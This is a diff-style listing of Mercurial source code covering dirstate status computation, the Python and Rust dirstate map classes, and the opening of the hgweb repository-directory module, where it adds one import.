1072 1072 '''Determine the status of the working copy relative to the
1073 1073 dirstate and return a pair of (unsure, status), where status is of type
1074 1074 scmutil.status and:
1075 1075
1076 1076 unsure:
1077 1077 files that might have been modified since the dirstate was
1078 1078 written, but need to be read to be sure (size is the same
1079 1079 but mtime differs)
1080 1080 status.modified:
1081 1081 files that have definitely been modified since the dirstate
1082 1082 was written (different size or mode)
1083 1083 status.clean:
1084 1084 files that have definitely not been modified since the
1085 1085 dirstate was written
1086 1086 '''
1087 1087 listignored, listclean, listunknown = ignored, clean, unknown
1088 1088 lookup, modified, added, unknown, ignored = [], [], [], [], []
1089 1089 removed, deleted, clean = [], [], []
1090 1090
1091 1091 dmap = self._map
1092 1092 dmap.preload()
1093 1093
1094 1094 use_rust = True
1095 1095 if rustmod is None:
1096 1096 use_rust = False
1097 1097 elif subrepos:
1098 1098 use_rust = False
1099 1099 if bool(listunknown):
1100 1100 # Pathauditor does not exist yet in Rust, unknown files
1101 1101 # can't be trusted.
1102 1102 use_rust = False
1103 1103 elif self._ignorefiles() and listignored:
1104 1104 # Rust has no ignore mechanism yet, so don't use Rust for
1105 1105 # commands that need ignore.
1106 1106 use_rust = False
1107 1107 elif not match.always():
1108 1108 # Matchers have yet to be implemented
1109 1109 use_rust = False
1110 1110
1111 1111 if use_rust:
1112 1112 # Force Rayon (Rust parallelism library) to respect the number of
1113 1113 # workers. This is a temporary workaround until Rust code knows
1114 1114 # how to read the config file.
1115 1115 numcpus = self._ui.configint("worker", "numcpus")
1116 1116 if numcpus is not None:
1117 1117 encoding.environ.setdefault(
1118 1118 b'RAYON_NUM_THREADS', b'%d' % numcpus
1119 1119 )
1120 1120
1121 1121 workers_enabled = self._ui.configbool("worker", "enabled", True)
1122 1122 if not workers_enabled:
1123 1123 encoding.environ[b"RAYON_NUM_THREADS"] = b"1"
1124 1124
1125 1125 (
1126 1126 lookup,
1127 1127 modified,
1128 1128 added,
1129 1129 removed,
1130 1130 deleted,
1131 1131 unknown,
1132 1132 clean,
1133 1133 ) = rustmod.status(
1134 1134 dmap._rustmap,
1135 1135 self._rootdir,
1136 1136 bool(listclean),
1137 1137 self._lastnormaltime,
1138 1138 self._checkexec,
1139 1139 )
1140 1140
1141 1141 status = scmutil.status(
1142 1142 modified=modified,
1143 1143 added=added,
1144 1144 removed=removed,
1145 1145 deleted=deleted,
1146 1146 unknown=unknown,
1147 1147 ignored=ignored,
1148 1148 clean=clean,
1149 1149 )
1150 1150 return (lookup, status)
1151 1151
1152 1152 def noop(f):
1153 1153 pass
1154 1154
1155 1155 dcontains = dmap.__contains__
1156 1156 dget = dmap.__getitem__
1157 1157 ladd = lookup.append # aka "unsure"
1158 1158 madd = modified.append
1159 1159 aadd = added.append
1160 1160 uadd = unknown.append if listunknown else noop
1161 1161 iadd = ignored.append if listignored else noop
1162 1162 radd = removed.append
1163 1163 dadd = deleted.append
1164 1164 cadd = clean.append if listclean else noop
1165 1165 mexact = match.exact
1166 1166 dirignore = self._dirignore
1167 1167 checkexec = self._checkexec
1168 1168 copymap = self._map.copymap
1169 1169 lastnormaltime = self._lastnormaltime
1170 1170
1171 1171 # We need to do full walks when either
1172 1172 # - we're listing all clean files, or
1173 1173 # - match.traversedir does something, because match.traversedir should
1174 1174 # be called for every dir in the working dir
1175 1175 full = listclean or match.traversedir is not None
1176 1176 for fn, st in pycompat.iteritems(
1177 1177 self.walk(match, subrepos, listunknown, listignored, full=full)
1178 1178 ):
1179 1179 if not dcontains(fn):
1180 1180 if (listignored or mexact(fn)) and dirignore(fn):
1181 1181 if listignored:
1182 1182 iadd(fn)
1183 1183 else:
1184 1184 uadd(fn)
1185 1185 continue
1186 1186
1187 1187 # This is equivalent to 'state, mode, size, time = dmap[fn]' but not
1188 1188 # written like that for performance reasons. dmap[fn] is not a
1189 1189 # Python tuple in compiled builds. The CPython UNPACK_SEQUENCE
1190 1190 # opcode has fast paths when the value to be unpacked is a tuple or
1191 1191 # a list, but falls back to creating a full-fledged iterator in
1192 1192 # general. That is much slower than simply accessing and storing the
1193 1193 # tuple members one by one.
1194 1194 t = dget(fn)
1195 1195 state = t[0]
1196 1196 mode = t[1]
1197 1197 size = t[2]
1198 1198 time = t[3]
1199 1199
1200 1200 if not st and state in b"nma":
1201 1201 dadd(fn)
1202 1202 elif state == b'n':
1203 1203 if (
1204 1204 size >= 0
1205 1205 and (
1206 1206 (size != st.st_size and size != st.st_size & _rangemask)
1207 1207 or ((mode ^ st.st_mode) & 0o100 and checkexec)
1208 1208 )
1209 1209 or size == -2 # other parent
1210 1210 or fn in copymap
1211 1211 ):
1212 1212 madd(fn)
1213 1213 elif (
1214 1214 time != st[stat.ST_MTIME]
1215 1215 and time != st[stat.ST_MTIME] & _rangemask
1216 1216 ):
1217 1217 ladd(fn)
1218 1218 elif st[stat.ST_MTIME] == lastnormaltime:
1219 1219 # fn may have just been marked as normal and it may have
1220 1220 # changed in the same second without changing its size.
1221 1221 # This can happen if we quickly do multiple commits.
1222 1222 # Force lookup, so we don't miss such a racy file change.
1223 1223 ladd(fn)
1224 1224 elif listclean:
1225 1225 cadd(fn)
1226 1226 elif state == b'm':
1227 1227 madd(fn)
1228 1228 elif state == b'a':
1229 1229 aadd(fn)
1230 1230 elif state == b'r':
1231 1231 radd(fn)
1232 1232
1233 1233 return (
1234 1234 lookup,
1235 1235 scmutil.status(
1236 1236 modified, added, removed, deleted, unknown, ignored, clean
1237 1237 ),
1238 1238 )
1239 1239
1240 1240 def matches(self, match):
1241 1241 '''
1242 1242 return files in the dirstate (in whatever state) filtered by match
1243 1243 '''
1244 1244 dmap = self._map
1245 1245 if match.always():
1246 1246 return dmap.keys()
1247 1247 files = match.files()
1248 1248 if match.isexact():
1249 1249 # fast path -- filter the other way around, since typically files is
1250 1250 # much smaller than dmap
1251 1251 return [f for f in files if f in dmap]
1252 1252 if match.prefix() and all(fn in dmap for fn in files):
1253 1253 # fast path -- all the values are known to be files, so just return
1254 1254 # that
1255 1255 return list(files)
1256 1256 return [f for f in dmap if match(f)]
1257 1257
1258 1258 def _actualfilename(self, tr):
1259 1259 if tr:
1260 1260 return self._pendingfilename
1261 1261 else:
1262 1262 return self._filename
1263 1263
1264 1264 def savebackup(self, tr, backupname):
1265 1265 '''Save current dirstate into backup file'''
1266 1266 filename = self._actualfilename(tr)
1267 1267 assert backupname != filename
1268 1268
1269 1269 # use '_writedirstate' instead of 'write' to write changes certainly,
1270 1270 # because the latter omits writing out if transaction is running.
1271 1271 # output file will be used to create backup of dirstate at this point.
1272 1272 if self._dirty or not self._opener.exists(filename):
1273 1273 self._writedirstate(
1274 1274 self._opener(filename, b"w", atomictemp=True, checkambig=True)
1275 1275 )
1276 1276
1277 1277 if tr:
1278 1278 # ensure that subsequent tr.writepending returns True for
1279 1279 # changes written out above, even if dirstate is never
1280 1280 # changed after this
1281 1281 tr.addfilegenerator(
1282 1282 b'dirstate',
1283 1283 (self._filename,),
1284 1284 self._writedirstate,
1285 1285 location=b'plain',
1286 1286 )
1287 1287
1288 1288 # ensure that pending file written above is unlinked at
1289 1289 # failure, even if tr.writepending isn't invoked until the
1290 1290 # end of this transaction
1291 1291 tr.registertmp(filename, location=b'plain')
1292 1292
1293 1293 self._opener.tryunlink(backupname)
1294 1294 # hardlink backup is okay because _writedirstate is always called
1295 1295 # with an "atomictemp=True" file.
1296 1296 util.copyfile(
1297 1297 self._opener.join(filename),
1298 1298 self._opener.join(backupname),
1299 1299 hardlink=True,
1300 1300 )
1301 1301
1302 1302 def restorebackup(self, tr, backupname):
1303 1303 '''Restore dirstate by backup file'''
1304 1304 # this "invalidate()" prevents "wlock.release()" from writing
1305 1305 # changes of dirstate out after restoring from backup file
1306 1306 self.invalidate()
1307 1307 filename = self._actualfilename(tr)
1308 1308 o = self._opener
1309 1309 if util.samefile(o.join(backupname), o.join(filename)):
1310 1310 o.unlink(backupname)
1311 1311 else:
1312 1312 o.rename(backupname, filename, checkambig=True)
1313 1313
1314 1314 def clearbackup(self, tr, backupname):
1315 1315 '''Clear backup file'''
1316 1316 self._opener.unlink(backupname)
1317 1317
1318 1318
1319 1319 class dirstatemap(object):
1320 1320 """Map encapsulating the dirstate's contents.
1321 1321
1322 1322 The dirstate contains the following state:
1323 1323
1324 1324 - `identity` is the identity of the dirstate file, which can be used to
1325 1325 detect when changes have occurred to the dirstate file.
1326 1326
1327 1327 - `parents` is a pair containing the parents of the working copy. The
1328 1328 parents are updated by calling `setparents`.
1329 1329
1330 1330 - the state map maps filenames to tuples of (state, mode, size, mtime),
1331 1331 where state is a single character representing 'normal', 'added',
1332 1332 'removed', or 'merged'. It is read by treating the dirstate as a
1333 1333 dict. File state is updated by calling the `addfile`, `removefile` and
1334 1334 `dropfile` methods.
1335 1335
1336 1336 - `copymap` maps destination filenames to their source filename.
1337 1337
1338 1338 The dirstate also provides the following views onto the state:
1339 1339
1340 1340 - `nonnormalset` is a set of the filenames that have state other
1341 1341 than 'normal', or are normal but have an mtime of -1 ('normallookup').
1342 1342
1343 1343 - `otherparentset` is a set of the filenames that are marked as coming
1344 1344 from the second parent when the dirstate is currently being merged.
1345 1345
1346 1346 - `filefoldmap` is a dict mapping normalized filenames to the denormalized
1347 1347 form that they appear as in the dirstate.
1348 1348
1349 1349 - `dirfoldmap` is a dict mapping normalized directory names to the
1350 1350 denormalized form that they appear as in the dirstate.
1351 1351 """
1352 1352
1353 1353 def __init__(self, ui, opener, root):
1354 1354 self._ui = ui
1355 1355 self._opener = opener
1356 1356 self._root = root
1357 1357 self._filename = b'dirstate'
1358 1358
1359 1359 self._parents = None
1360 1360 self._dirtyparents = False
1361 1361
1362 1362 # for consistent view between _pl() and _read() invocations
1363 1363 self._pendingmode = None
1364 1364
1365 1365 @propertycache
1366 1366 def _map(self):
1367 1367 self._map = {}
1368 1368 self.read()
1369 1369 return self._map
1370 1370
1371 1371 @propertycache
1372 1372 def copymap(self):
1373 1373 self.copymap = {}
1374 1374 self._map
1375 1375 return self.copymap
1376 1376
1377 1377 def clear(self):
1378 1378 self._map.clear()
1379 1379 self.copymap.clear()
1380 1380 self.setparents(nullid, nullid)
1381 1381 util.clearcachedproperty(self, b"_dirs")
1382 1382 util.clearcachedproperty(self, b"_alldirs")
1383 1383 util.clearcachedproperty(self, b"filefoldmap")
1384 1384 util.clearcachedproperty(self, b"dirfoldmap")
1385 1385 util.clearcachedproperty(self, b"nonnormalset")
1386 1386 util.clearcachedproperty(self, b"otherparentset")
1387 1387
1388 1388 def items(self):
1389 1389 return pycompat.iteritems(self._map)
1390 1390
1391 1391 # forward for python2,3 compat
1392 1392 iteritems = items
1393 1393
1394 1394 def __len__(self):
1395 1395 return len(self._map)
1396 1396
1397 1397 def __iter__(self):
1398 1398 return iter(self._map)
1399 1399
1400 1400 def get(self, key, default=None):
1401 1401 return self._map.get(key, default)
1402 1402
1403 1403 def __contains__(self, key):
1404 1404 return key in self._map
1405 1405
1406 1406 def __getitem__(self, key):
1407 1407 return self._map[key]
1408 1408
1409 1409 def keys(self):
1410 1410 return self._map.keys()
1411 1411
1412 1412 def preload(self):
1413 1413 """Loads the underlying data, if it's not already loaded"""
1414 1414 self._map
1415 1415
1416 1416 def addfile(self, f, oldstate, state, mode, size, mtime):
1417 1417 """Add a tracked file to the dirstate."""
1418 1418 if oldstate in b"?r" and "_dirs" in self.__dict__:
1419 1419 self._dirs.addpath(f)
1420 1420 if oldstate == b"?" and "_alldirs" in self.__dict__:
1421 1421 self._alldirs.addpath(f)
1422 1422 self._map[f] = dirstatetuple(state, mode, size, mtime)
1423 1423 if state != b'n' or mtime == -1:
1424 1424 self.nonnormalset.add(f)
1425 1425 if size == -2:
1426 1426 self.otherparentset.add(f)
1427 1427
1428 1428 def removefile(self, f, oldstate, size):
1429 1429 """
1430 1430 Mark a file as removed in the dirstate.
1431 1431
1432 1432 The `size` parameter is used to store sentinel values that indicate
1433 1433 the file's previous state. In the future, we should refactor this
1434 1434 to be more explicit about what that state is.
1435 1435 """
1436 1436 if oldstate not in b"?r" and "_dirs" in self.__dict__:
1437 1437 self._dirs.delpath(f)
1438 1438 if oldstate == b"?" and "_alldirs" in self.__dict__:
1439 1439 self._alldirs.addpath(f)
1440 1440 if "filefoldmap" in self.__dict__:
1441 1441 normed = util.normcase(f)
1442 1442 self.filefoldmap.pop(normed, None)
1443 1443 self._map[f] = dirstatetuple(b'r', 0, size, 0)
1444 1444 self.nonnormalset.add(f)
1445 1445
1446 1446 def dropfile(self, f, oldstate):
1447 1447 """
1448 1448 Remove a file from the dirstate. Returns True if the file was
1449 1449 previously recorded.
1450 1450 """
1451 1451 exists = self._map.pop(f, None) is not None
1452 1452 if exists:
1453 1453 if oldstate != b"r" and "_dirs" in self.__dict__:
1454 1454 self._dirs.delpath(f)
1455 1455 if "_alldirs" in self.__dict__:
1456 1456 self._alldirs.delpath(f)
1457 1457 if "filefoldmap" in self.__dict__:
1458 1458 normed = util.normcase(f)
1459 1459 self.filefoldmap.pop(normed, None)
1460 1460 self.nonnormalset.discard(f)
1461 1461 return exists
1462 1462
1463 1463 def clearambiguoustimes(self, files, now):
1464 1464 for f in files:
1465 1465 e = self.get(f)
1466 1466 if e is not None and e[0] == b'n' and e[3] == now:
1467 1467 self._map[f] = dirstatetuple(e[0], e[1], e[2], -1)
1468 1468 self.nonnormalset.add(f)
1469 1469
1470 1470 def nonnormalentries(self):
1471 1471 '''Compute the nonnormal dirstate entries from the dmap'''
1472 1472 try:
1473 1473 return parsers.nonnormalotherparententries(self._map)
1474 1474 except AttributeError:
1475 1475 nonnorm = set()
1476 1476 otherparent = set()
1477 1477 for fname, e in pycompat.iteritems(self._map):
1478 1478 if e[0] != b'n' or e[3] == -1:
1479 1479 nonnorm.add(fname)
1480 1480 if e[0] == b'n' and e[2] == -2:
1481 1481 otherparent.add(fname)
1482 1482 return nonnorm, otherparent
1483 1483
1484 1484 @propertycache
1485 1485 def filefoldmap(self):
1486 1486 """Returns a dictionary mapping normalized case paths to their
1487 1487 non-normalized versions.
1488 1488 """
1489 1489 try:
1490 1490 makefilefoldmap = parsers.make_file_foldmap
1491 1491 except AttributeError:
1492 1492 pass
1493 1493 else:
1494 1494 return makefilefoldmap(
1495 1495 self._map, util.normcasespec, util.normcasefallback
1496 1496 )
1497 1497
1498 1498 f = {}
1499 1499 normcase = util.normcase
1500 1500 for name, s in pycompat.iteritems(self._map):
1501 1501 if s[0] != b'r':
1502 1502 f[normcase(name)] = name
1503 1503 f[b'.'] = b'.' # prevents useless util.fspath() invocation
1504 1504 return f
1505 1505
1506 1506 def hastrackeddir(self, d):
1507 1507 """
1508 1508 Returns True if the dirstate contains a tracked (not removed) file
1509 1509 in this directory.
1510 1510 """
1511 1511 return d in self._dirs
1512 1512
1513 1513 def hasdir(self, d):
1514 1514 """
1515 1515 Returns True if the dirstate contains a file (tracked or removed)
1516 1516 in this directory.
1517 1517 """
1518 1518 return d in self._alldirs
1519 1519
1520 1520 @propertycache
1521 1521 def _dirs(self):
1522 1522 return pathutil.dirs(self._map, b'r')
1523 1523
1524 1524 @propertycache
1525 1525 def _alldirs(self):
1526 1526 return pathutil.dirs(self._map)
1527 1527
1528 1528 def _opendirstatefile(self):
1529 1529 fp, mode = txnutil.trypending(self._root, self._opener, self._filename)
1530 1530 if self._pendingmode is not None and self._pendingmode != mode:
1531 1531 fp.close()
1532 1532 raise error.Abort(
1533 1533 _(b'working directory state may be changed parallelly')
1534 1534 )
1535 1535 self._pendingmode = mode
1536 1536 return fp
1537 1537
1538 1538 def parents(self):
1539 1539 if not self._parents:
1540 1540 try:
1541 1541 fp = self._opendirstatefile()
1542 1542 st = fp.read(40)
1543 1543 fp.close()
1544 1544 except IOError as err:
1545 1545 if err.errno != errno.ENOENT:
1546 1546 raise
1547 1547 # File doesn't exist, so the current state is empty
1548 1548 st = b''
1549 1549
1550 1550 l = len(st)
1551 1551 if l == 40:
1552 1552 self._parents = (st[:20], st[20:40])
1553 1553 elif l == 0:
1554 1554 self._parents = (nullid, nullid)
1555 1555 else:
1556 1556 raise error.Abort(
1557 1557 _(b'working directory state appears damaged!')
1558 1558 )
1559 1559
1560 1560 return self._parents
1561 1561
1562 1562 def setparents(self, p1, p2):
1563 1563 self._parents = (p1, p2)
1564 1564 self._dirtyparents = True
1565 1565
1566 1566 def read(self):
1567 1567 # ignore HG_PENDING because identity is used only for writing
1568 1568 self.identity = util.filestat.frompath(
1569 1569 self._opener.join(self._filename)
1570 1570 )
1571 1571
1572 1572 try:
1573 1573 fp = self._opendirstatefile()
1574 1574 try:
1575 1575 st = fp.read()
1576 1576 finally:
1577 1577 fp.close()
1578 1578 except IOError as err:
1579 1579 if err.errno != errno.ENOENT:
1580 1580 raise
1581 1581 return
1582 1582 if not st:
1583 1583 return
1584 1584
1585 1585 if util.safehasattr(parsers, b'dict_new_presized'):
1586 1586 # Make an estimate of the number of files in the dirstate based on
1587 1587 # its size. From a linear regression on a set of real-world repos,
1588 1588 # all over 10,000 files, the size of a dirstate entry is 85
1589 1589 # bytes. The cost of resizing is significantly higher than the cost
1590 1590 # of filling in a larger presized dict, so subtract 20% from the
1591 1591 # size.
1592 1592 #
1593 1593 # This heuristic is imperfect in many ways, so in a future dirstate
1594 1594 # format update it makes sense to just record the number of entries
1595 1595 # on write.
1596 1596 self._map = parsers.dict_new_presized(len(st) // 71)
1597 1597
1598 1598 # Python's garbage collector triggers a GC each time a certain number
1599 1599 # of container objects (the number being defined by
1600 1600 # gc.get_threshold()) are allocated. parse_dirstate creates a tuple
1601 1601 # for each file in the dirstate. The C version then immediately marks
1602 1602 # them as not to be tracked by the collector. However, this has no
1603 1603 # effect on when GCs are triggered, only on what objects the GC looks
1604 1604 # into. This means that O(number of files) GCs are unavoidable.
1605 1605 # Depending on when in the process's lifetime the dirstate is parsed,
1606 1606 # this can get very expensive. As a workaround, disable GC while
1607 1607 # parsing the dirstate.
1608 1608 #
1609 1609 # (we cannot decorate the function directly since it is in a C module)
1610 1610 parse_dirstate = util.nogc(parsers.parse_dirstate)
1611 1611 p = parse_dirstate(self._map, self.copymap, st)
1612 1612 if not self._dirtyparents:
1613 1613 self.setparents(*p)
1614 1614
1615 1615 # Avoid excess attribute lookups by fast pathing certain checks
1616 1616 self.__contains__ = self._map.__contains__
1617 1617 self.__getitem__ = self._map.__getitem__
1618 1618 self.get = self._map.get
1619 1619
1620 1620 def write(self, st, now):
1621 1621 st.write(
1622 1622 parsers.pack_dirstate(self._map, self.copymap, self.parents(), now)
1623 1623 )
1624 1624 st.close()
1625 1625 self._dirtyparents = False
1626 1626 self.nonnormalset, self.otherparentset = self.nonnormalentries()
1627 1627
1628 1628 @propertycache
1629 1629 def nonnormalset(self):
1630 1630 nonnorm, otherparents = self.nonnormalentries()
1631 1631 self.otherparentset = otherparents
1632 1632 return nonnorm
1633 1633
1634 1634 @propertycache
1635 1635 def otherparentset(self):
1636 1636 nonnorm, otherparents = self.nonnormalentries()
1637 1637 self.nonnormalset = nonnorm
1638 1638 return otherparents
1639 1639
1640 1640 @propertycache
1641 1641 def identity(self):
1642 1642 self._map
1643 1643 return self.identity
1644 1644
1645 1645 @propertycache
1646 1646 def dirfoldmap(self):
1647 1647 f = {}
1648 1648 normcase = util.normcase
1649 1649 for name in self._dirs:
1650 1650 f[normcase(name)] = name
1651 1651 return f
1652 1652
1653 1653
1654 1654 if rustmod is not None:
1655 1655
1656 1656 class dirstatemap(object):
1657 1657 def __init__(self, ui, opener, root):
1658 1658 self._ui = ui
1659 1659 self._opener = opener
1660 1660 self._root = root
1661 1661 self._filename = b'dirstate'
1662 1662 self._parents = None
1663 1663 self._dirtyparents = False
1664 1664
1665 1665 # for consistent view between _pl() and _read() invocations
1666 1666 self._pendingmode = None
1667 1667
1668 1668 def addfile(self, *args, **kwargs):
1669 1669 return self._rustmap.addfile(*args, **kwargs)
1670 1670
1671 1671 def removefile(self, *args, **kwargs):
1672 1672 return self._rustmap.removefile(*args, **kwargs)
1673 1673
1674 1674 def dropfile(self, *args, **kwargs):
1675 1675 return self._rustmap.dropfile(*args, **kwargs)
1676 1676
1677 1677 def clearambiguoustimes(self, *args, **kwargs):
1678 1678 return self._rustmap.clearambiguoustimes(*args, **kwargs)
1679 1679
1680 1680 def nonnormalentries(self):
1681 1681 return self._rustmap.nonnormalentries()
1682 1682
1683 1683 def get(self, *args, **kwargs):
1684 1684 return self._rustmap.get(*args, **kwargs)
1685 1685
1686 1686 @propertycache
1687 1687 def _rustmap(self):
1688 1688 self._rustmap = rustmod.DirstateMap(self._root)
1689 1689 self.read()
1690 1690 return self._rustmap
1691 1691
1692 1692 @property
1693 1693 def copymap(self):
1694 1694 return self._rustmap.copymap()
1695 1695
1696 1696 def preload(self):
1697 1697 self._rustmap
1698 1698
1699 1699 def clear(self):
1700 1700 self._rustmap.clear()
1701 1701 self.setparents(nullid, nullid)
1702 1702 util.clearcachedproperty(self, b"_dirs")
1703 1703 util.clearcachedproperty(self, b"_alldirs")
1704 1704 util.clearcachedproperty(self, b"dirfoldmap")
1705 1705
1706 1706 def items(self):
1707 1707 return self._rustmap.items()
1708 1708
1709 1709 def keys(self):
1710 1710 return iter(self._rustmap)
1711 1711
1712 1712 def __contains__(self, key):
1713 1713 return key in self._rustmap
1714 1714
1715 1715 def __getitem__(self, item):
1716 1716 return self._rustmap[item]
1717 1717
1718 1718 def __len__(self):
1719 1719 return len(self._rustmap)
1720 1720
1721 1721 def __iter__(self):
1722 1722 return iter(self._rustmap)
1723 1723
1724 1724 # forward for python2,3 compat
1725 1725 iteritems = items
1726 1726
1727 1727 def _opendirstatefile(self):
1728 1728 fp, mode = txnutil.trypending(
1729 1729 self._root, self._opener, self._filename
1730 1730 )
1731 1731 if self._pendingmode is not None and self._pendingmode != mode:
1732 1732 fp.close()
1733 1733 raise error.Abort(
1734 1734 _(b'working directory state may be changed parallelly')
1735 1735 )
1736 1736 self._pendingmode = mode
1737 1737 return fp
1738 1738
1739 1739 def setparents(self, p1, p2):
1740 1740 self._rustmap.setparents(p1, p2)
1741 1741 self._parents = (p1, p2)
1742 1742 self._dirtyparents = True
1743 1743
1744 1744 def parents(self):
1745 1745 if not self._parents:
1746 1746 try:
1747 1747 fp = self._opendirstatefile()
1748 1748 st = fp.read(40)
1749 1749 fp.close()
1750 1750 except IOError as err:
1751 1751 if err.errno != errno.ENOENT:
1752 1752 raise
1753 1753 # File doesn't exist, so the current state is empty
1754 1754 st = b''
1755 1755
1756 1756 try:
1757 1757 self._parents = self._rustmap.parents(st)
1758 1758 except ValueError:
1759 1759 raise error.Abort(
1760 1760 _(b'working directory state appears damaged!')
1761 1761 )
1762 1762
1763 1763 return self._parents
1764 1764
1765 1765 def read(self):
1766 1766 # ignore HG_PENDING because identity is used only for writing
1767 1767 self.identity = util.filestat.frompath(
1768 1768 self._opener.join(self._filename)
1769 1769 )
1770 1770
1771 1771 try:
1772 1772 fp = self._opendirstatefile()
1773 1773 try:
1774 1774 st = fp.read()
1775 1775 finally:
1776 1776 fp.close()
1777 1777 except IOError as err:
1778 1778 if err.errno != errno.ENOENT:
1779 1779 raise
1780 1780 return
1781 1781 if not st:
1782 1782 return
1783 1783
1784 1784 parse_dirstate = util.nogc(self._rustmap.read)
1785 1785 parents = parse_dirstate(st)
1786 1786 if parents and not self._dirtyparents:
1787 1787 self.setparents(*parents)
1788 1788
1789 1789 self.__contains__ = self._rustmap.__contains__
1790 1790 self.__getitem__ = self._rustmap.__getitem__
1791 1791 self.get = self._rustmap.get
1792 1792
1793 1793 def write(self, st, now):
1794 1794 parents = self.parents()
1795 1795 st.write(self._rustmap.write(parents[0], parents[1], now))
1796 1796 st.close()
1797 1797 self._dirtyparents = False
1798 1798
1799 1799 @propertycache
1800 1800 def filefoldmap(self):
1801 1801 """Returns a dictionary mapping normalized case paths to their
1802 1802 non-normalized versions.
1803 1803 """
1804 1804 return self._rustmap.filefoldmapasdict()
1805 1805
1806 1806 def hastrackeddir(self, d):
1807 1807 self._dirs # Trigger Python's propertycache
1808 1808 return self._rustmap.hastrackeddir(d)
1809 1809
1810 1810 def hasdir(self, d):
1811 1811 self._dirs # Trigger Python's propertycache
1812 1812 return self._rustmap.hasdir(d)
1813 1813
1814 1814 @propertycache
1815 1815 def _dirs(self):
1816 1816 return self._rustmap.getdirs()
1817 1817
1818 1818 @propertycache
1819 1819 def _alldirs(self):
1820 1820 return self._rustmap.getalldirs()
1821 1821
1822 1822 @propertycache
1823 1823 def identity(self):
1824 1824 self._rustmap
1825 1825 return self.identity
1826 1826
1827 1827 @property
1828 1828 def nonnormalset(self):
1829 1829 nonnorm, otherparents = self._rustmap.nonnormalentries()
1830 1830 return nonnorm
1831 1831
1832 1832 @property
1833 1833 def otherparentset(self):
1834 1834 nonnorm, otherparents = self._rustmap.nonnormalentries()
1835 1835 return otherparents
1836 1836
1837 1837 @propertycache
1838 1838 def dirfoldmap(self):
1839 1839 f = {}
1840 1840 normcase = util.normcase
1841 1841 for name in self._dirs:
1842 1842 f[normcase(name)] = name
1843 1843 return f
@@ -1,578 +1,579 b''
1 1 # hgweb/hgwebdir_mod.py - Web interface for a directory of repositories.
2 2 #
3 3 # Copyright 21 May 2005 - (c) 2005 Jake Edge <jake@edge2.net>
4 4 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
5 5 #
6 6 # This software may be used and distributed according to the terms of the
7 7 # GNU General Public License version 2 or any later version.
8 8
9 9 from __future__ import absolute_import
10 10
11 11 import gc
12 12 import os
13 13 import time
14 14
15 15 from ..i18n import _
16 16
17 17 from .common import (
18 18 ErrorResponse,
19 19 HTTP_SERVER_ERROR,
20 20 cspvalues,
21 21 get_contact,
22 22 get_mtime,
23 23 ismember,
24 24 paritygen,
25 25 staticfile,
26 26 statusmessage,
27 27 )
28 28
29 29 from .. import (
30 30 configitems,
31 31 encoding,
32 32 error,
33 33 extensions,
34 34 hg,
35 pathutil,
35 36 profiling,
36 37 pycompat,
37 38 registrar,
38 39 scmutil,
39 40 templater,
40 41 templateutil,
41 42 ui as uimod,
42 43 util,
43 44 )
44 45
45 46 from . import (
46 47 hgweb_mod,
47 48 request as requestmod,
48 49 webutil,
49 50 wsgicgi,
50 51 )
51 52 from ..utils import dateutil
52 53
53 54
54 55 def cleannames(items):
55 56 return [(util.pconvert(name).strip(b'/'), path) for name, path in items]
56 57
57 58
58 59 def findrepos(paths):
59 60 repos = []
60 61 for prefix, root in cleannames(paths):
61 62 roothead, roottail = os.path.split(root)
62 63 # "foo = /bar/*" or "foo = /bar/**" lets every repo /bar/N in or below
63 64 # /bar/ be served as as foo/N .
64 65 # '*' will not search inside dirs with .hg (except .hg/patches),
65 66 # '**' will search inside dirs with .hg (and thus also find subrepos).
66 67 try:
67 68 recurse = {b'*': False, b'**': True}[roottail]
68 69 except KeyError:
69 70 repos.append((prefix, root))
70 71 continue
71 72 roothead = os.path.normpath(os.path.abspath(roothead))
72 73 paths = scmutil.walkrepos(roothead, followsym=True, recurse=recurse)
73 74 repos.extend(urlrepos(prefix, roothead, paths))
74 75 return repos
75 76
76 77
77 78 def urlrepos(prefix, roothead, paths):
78 79 """yield url paths and filesystem paths from a list of repo paths
79 80
80 81 >>> conv = lambda seq: [(v, util.pconvert(p)) for v,p in seq]
81 82 >>> conv(urlrepos(b'hg', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
82 83 [('hg/r', '/opt/r'), ('hg/r/r', '/opt/r/r'), ('hg', '/opt')]
83 84 >>> conv(urlrepos(b'', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
84 85 [('r', '/opt/r'), ('r/r', '/opt/r/r'), ('', '/opt')]
85 86 """
86 87 for path in paths:
87 88 path = os.path.normpath(path)
88 89 yield (
89 90 prefix + b'/' + util.pconvert(path[len(roothead) :]).lstrip(b'/')
90 91 ).strip(b'/'), path
91 92
92 93
93 94 def readallowed(ui, req):
94 95 """Check allow_read and deny_read config options of a repo's ui object
95 96 to determine user permissions. By default, with neither option set (or
96 97 both empty), allow all users to read the repo. There are two ways a
97 98 user can be denied read access: (1) deny_read is not empty, and the
98 99 user is unauthenticated or deny_read contains user (or *), and (2)
99 100 allow_read is not empty and the user is not in allow_read. Return True
100 101 if user is allowed to read the repo, else return False."""
101 102
102 103 user = req.remoteuser
103 104
104 105 deny_read = ui.configlist(b'web', b'deny_read', untrusted=True)
105 106 if deny_read and (not user or ismember(ui, user, deny_read)):
106 107 return False
107 108
108 109 allow_read = ui.configlist(b'web', b'allow_read', untrusted=True)
109 110 # by default, allow reading if no allow_read option has been set
110 111 if not allow_read or ismember(ui, user, allow_read):
111 112 return True
112 113
113 114 return False
114 115
115 116
116 117 def rawindexentries(ui, repos, req, subdir=b''):
117 118 descend = ui.configbool(b'web', b'descend')
118 119 collapse = ui.configbool(b'web', b'collapse')
119 120 seenrepos = set()
120 121 seendirs = set()
121 122 for name, path in repos:
122 123
123 124 if not name.startswith(subdir):
124 125 continue
125 126 name = name[len(subdir) :]
126 127 directory = False
127 128
128 129 if b'/' in name:
129 130 if not descend:
130 131 continue
131 132
132 133 nameparts = name.split(b'/')
133 134 rootname = nameparts[0]
134 135
135 136 if not collapse:
136 137 pass
137 138 elif rootname in seendirs:
138 139 continue
139 140 elif rootname in seenrepos:
140 141 pass
141 142 else:
142 143 directory = True
143 144 name = rootname
144 145
145 146 # redefine the path to refer to the directory
146 147 discarded = b'/'.join(nameparts[1:])
147 148
148 149 # remove name parts plus accompanying slash
149 150 path = path[: -len(discarded) - 1]
150 151
151 152 try:
152 153 hg.repository(ui, path)
153 154 directory = False
154 155 except (IOError, error.RepoError):
155 156 pass
156 157
157 158 parts = [
158 159 req.apppath.strip(b'/'),
159 160 subdir.strip(b'/'),
